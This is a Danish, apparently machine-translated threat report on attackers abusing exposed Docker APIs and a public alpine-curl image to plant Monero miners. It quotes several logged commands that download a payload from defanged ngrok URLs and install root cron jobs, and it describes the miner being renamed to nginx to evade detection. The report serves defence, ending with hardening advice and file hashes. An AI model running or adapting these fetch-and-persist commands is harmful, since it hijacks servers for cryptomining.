Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere

Vi analyserede de indsamlede data ved hjælp af honeypot-beholdere, som vi skabte for at spore trusler. Og vi opdagede betydelig aktivitet fra uønskede eller uautoriserede cryptocurrency-minearbejdere, der blev implementeret som useriøse containere ved hjælp af et community-publiceret billede på Docker Hub. Billedet bruges som en del af en tjeneste, der leverer ondsindede cryptocurrency-minearbejdere.

Derudover er programmer til at arbejde med netværk installeret for at trænge ind i åbne nabobeholdere og applikationer.

Vi efterlader vores honeypots som de er, det vil sige med standardindstillinger, uden sikkerhedsforanstaltninger eller efterfølgende installation af yderligere software. Bemærk venligst, at Docker har anbefalinger til indledende opsætning for at undgå fejl og simple sårbarheder. Men de anvendte honningpotter er containere, designet til at opdage angreb rettet mod containeriseringsplatformen, ikke applikationerne inde i containerne.

Den opdagede ondsindede aktivitet er også bemærkelsesværdig, fordi den ikke kræver sårbarheder og også er uafhængig af Docker-versionen. At finde et forkert konfigureret og derfor åbent containerbillede er alt hvad angribere behøver for at inficere mange åbne servere.

Den ulukkede Docker API giver brugeren mulighed for at udføre en bred vifte af hold, herunder at få en liste over kørende containere, hente logfiler fra en bestemt container, starte, stoppe (inklusive tvunget) og endda oprette en ny container fra et specifikt billede med specificerede indstillinger.

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Til venstre er leveringsmetoden for malware. Til højre er angriberens miljø, som giver mulighed for fjernudrulning af billeder.

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Fordeling efter land af 3762 åbne Docker API'er. Baseret på Shodan-søgning dateret 12.02.2019/XNUMX/XNUMX

Angrebskæde og nyttelast muligheder

Ondsindet aktivitet blev opdaget ikke kun ved hjælp af honningpotter. Data fra Shodan viser, at antallet af udsatte Docker API'er (se anden graf) er steget, siden vi undersøgte en forkert konfigureret container, der blev brugt som en bro til at implementere Monero cryptocurrency mining-software. I oktober sidste år (2018, aktuelle data du kan se sådan ud ca. oversætter) var der kun 856 åbne API'er.

En undersøgelse af honeypot-loggene viste, at brugen af ​​containerbilleder også var forbundet med brugen af ngrok, et værktøj til at etablere sikre forbindelser eller videresende trafik fra offentligt tilgængelige punkter til specificerede adresser eller ressourcer (for eksempel localhost). Dette giver angribere mulighed for dynamisk at oprette URL'er, når de leverer nyttelast til en åben server. Nedenfor er kodeeksempler fra logfilerne, der viser misbrug af ngrok-tjenesten:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Som du kan se, downloades de uploadede filer fra konstant skiftende URL'er. Disse URL'er har en kort udløbsdato, så nyttelaster kan ikke downloades efter udløbsdatoen.

Der er to muligheder for nyttelast. Den første er en kompileret ELF-miner til Linux (defineret som Coinminer.SH.MALXMR.ATNO), der forbinder til minepuljen. Det andet er et script (TrojanSpy.SH.ZNETMAP.A) designet til at opnå bestemte netværksværktøjer, der bruges til at scanne netværksområder og derefter søge efter nye mål.

Dropper-scriptet indstiller to variabler, som derefter bruges til at implementere cryptocurrency-miner. HOST-variablen indeholder URL'en, hvor de ondsindede filer er placeret, og RIP-variablen er filnavnet (faktisk hashen) på miner, der skal installeres. HOST-variablen ændres hver gang hash-variablen ændres. Scriptet forsøger også at kontrollere, at ingen andre cryptocurrency-minearbejdere kører på den angrebne server.

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Eksempler på HOST- og RIP-variabler, samt et kodestykke, der bruges til at kontrollere, at ingen andre minearbejdere kører

Før du starter miner, omdøbes den til nginx. Andre versioner af dette script omdøber minearbejderen til andre legitime tjenester, der kan være til stede i Linux-miljøer. Dette er normalt nok til at omgå kontrol mod listen over kørende processer.

Søgescriptet har også funktioner. Det fungerer med den samme URL-tjeneste til at implementere de nødvendige værktøjer. Blandt dem er zmap binær, som bruges til at scanne netværk og få en liste over åbne porte. Scriptet indlæser også en anden binær, der bruges til at interagere med de fundne tjenester og modtage bannere fra dem for at bestemme yderligere oplysninger om den fundne tjeneste (f.eks. dens version).

Scriptet forudbestemmer også nogle netværksområder, der skal scannes, men dette afhænger af scriptets version. Den indstiller også målportene fra tjenesterne - i dette tilfælde Docker - før scanningen køres.

Så snart der er fundet mulige mål, fjernes bannere automatisk fra dem. Scriptet filtrerer også mål afhængigt af tjenester, applikationer, komponenter eller platforme af interesse: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16-klient og Apache CouchDB. Hvis den scannede server matcher nogen af ​​dem, gemmes den i en tekstfil, som angribere senere kan bruge til efterfølgende analyse og hacking. Disse tekstfiler uploades til angribernes servere via dynamiske links. Det vil sige, at der bruges en separat URL for hver fil, hvilket betyder, at efterfølgende adgang er vanskelig.

Angrebsvektoren er et Docker-billede, som det kan ses i de næste to stykker kode.

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Øverst er omdøbning til en lovlig tjeneste, og nederst er, hvordan zmap bruges til at scanne netværk

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Øverst er foruddefinerede netværksområder, nederst er specifikke porte til søgning efter tjenester, inklusive Docker

Hvordan den ikke-private Docker API og offentlige billeder fra fællesskabet bliver brugt til at distribuere cryptocurrency minearbejdere
Skærmbilledet viser, at alpine-curl-billedet er blevet downloadet mere end 10 millioner gange

Baseret på Alpine Linux og curl, et ressourceeffektivt CLI-værktøj til overførsel af filer over forskellige protokoller, kan du bygge Docker billede. Som du kan se på det forrige billede, er dette billede allerede blevet downloadet mere end 10 millioner gange. Et stort antal downloads kan betyde, at du bruger dette billede som et indgangspunkt; dette billede blev opdateret for mere end seks måneder siden; brugere downloadede ikke andre billeder fra dette lager så ofte. I Docker indgangssted - et sæt instruktioner, der bruges til at konfigurere en container til at køre den. Hvis indstillingerne for indgangspunktet er forkerte (f.eks. beholderen efterlades åben fra internettet), kan billedet bruges som en angrebsvektor. Angribere kan bruge det til at levere en nyttelast, hvis de finder en forkert konfigureret eller åben container, der ikke understøttes.

Det er vigtigt at bemærke, at dette billede (alpine-curl) i sig selv ikke er ondsindet, men som du kan se ovenfor, kan det bruges til at udføre ondsindede funktioner. Lignende Docker-billeder kan også bruges til at udføre ondsindede aktiviteter. Vi kontaktede Docker og arbejdede med dem om dette problem.

Anbefalinger

Forkert indstilling resterne konstant problem for mange virksomheder, især dem, der implementerer DevOps, med fokus på hurtig udvikling og levering. Alt forværres af behovet for at overholde revisions- og overvågningsreglerne, behovet for at overvåge datafortrolighed samt den enorme skade fra deres manglende overholdelse. Inkorporering af sikkerhedsautomatisering i udviklingslivscyklussen hjælper dig ikke kun med at finde sikkerhedshuller, der ellers ville blive uopdaget, men det hjælper dig også med at reducere unødvendig arbejdsbyrde, såsom at køre yderligere softwarebuilds for hver opdaget sårbarhed eller fejlkonfiguration, efter at en applikation er implementeret.

Hændelsen diskuteret i denne artikel fremhæver behovet for at tage højde for sikkerheden fra starten, herunder følgende anbefalinger:

  • For systemadministratorer og udviklere: Kontroller altid dine API-indstillinger for at sikre, at alt er konfigureret til kun at acceptere anmodninger fra en bestemt server eller internt netværk.
  • Følg princippet om mindste rettigheder: Sørg for, at containerbilleder er signeret og verificeret, begræns adgangen til kritiske komponenter (containerlanceringstjeneste) og tilføj kryptering til netværksforbindelser.
  • Følge efter anbefalinger og muliggør sikkerhedsmekanismer, f.eks. fra Docker og indbygget sikkerhedsfunktioner.
  • Brug automatiseret scanning af kørselstider og billeder for at få yderligere oplysninger om de processer, der kører i containeren (for eksempel for at opdage spoofing eller søge efter sårbarheder). Applikationskontrol og integritetsovervågning hjælper med at spore unormale ændringer af servere, filer og systemområder.

Trendmicro hjælper DevOps-teams med at bygge sikkert, rulle ud hurtigt og lancere hvor som helst. Trend Micro Hybrid Cloud-sikkerhed Giver kraftfuld, strømlinet og automatiseret sikkerhed på tværs af en organisations DevOps-pipeline og giver flere trusselsforsvar XGen for at beskytte fysiske, virtuelle og cloud-arbejdsbelastninger under kørsel. Det tilføjer også containersikkerhed med Dyb sikkerhed и Deep Security Smart Check, som scanner Docker-containerbilleder for malware og sårbarheder på ethvert tidspunkt i udviklingspipelinen for at forhindre trusler, før de implementeres.

Tegn på kompromis

Relaterede hashs:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

On Docker video kursus Øvende højttalere viser, hvilke indstillinger der skal foretages først for at minimere sandsynligheden eller helt undgå forekomsten af ​​den ovenfor beskrevne situation. Og den 19-21 august på en online intensiv DevOps Tools & Cheats Disse og lignende sikkerhedsproblemer kan du diskutere med kolleger og praktiserende lærere ved et rundbordsbord, hvor alle kan komme til orde og lytte til erfarne kollegers smerter og succes.

Kilde: www.habr.com

Tilføj en kommentar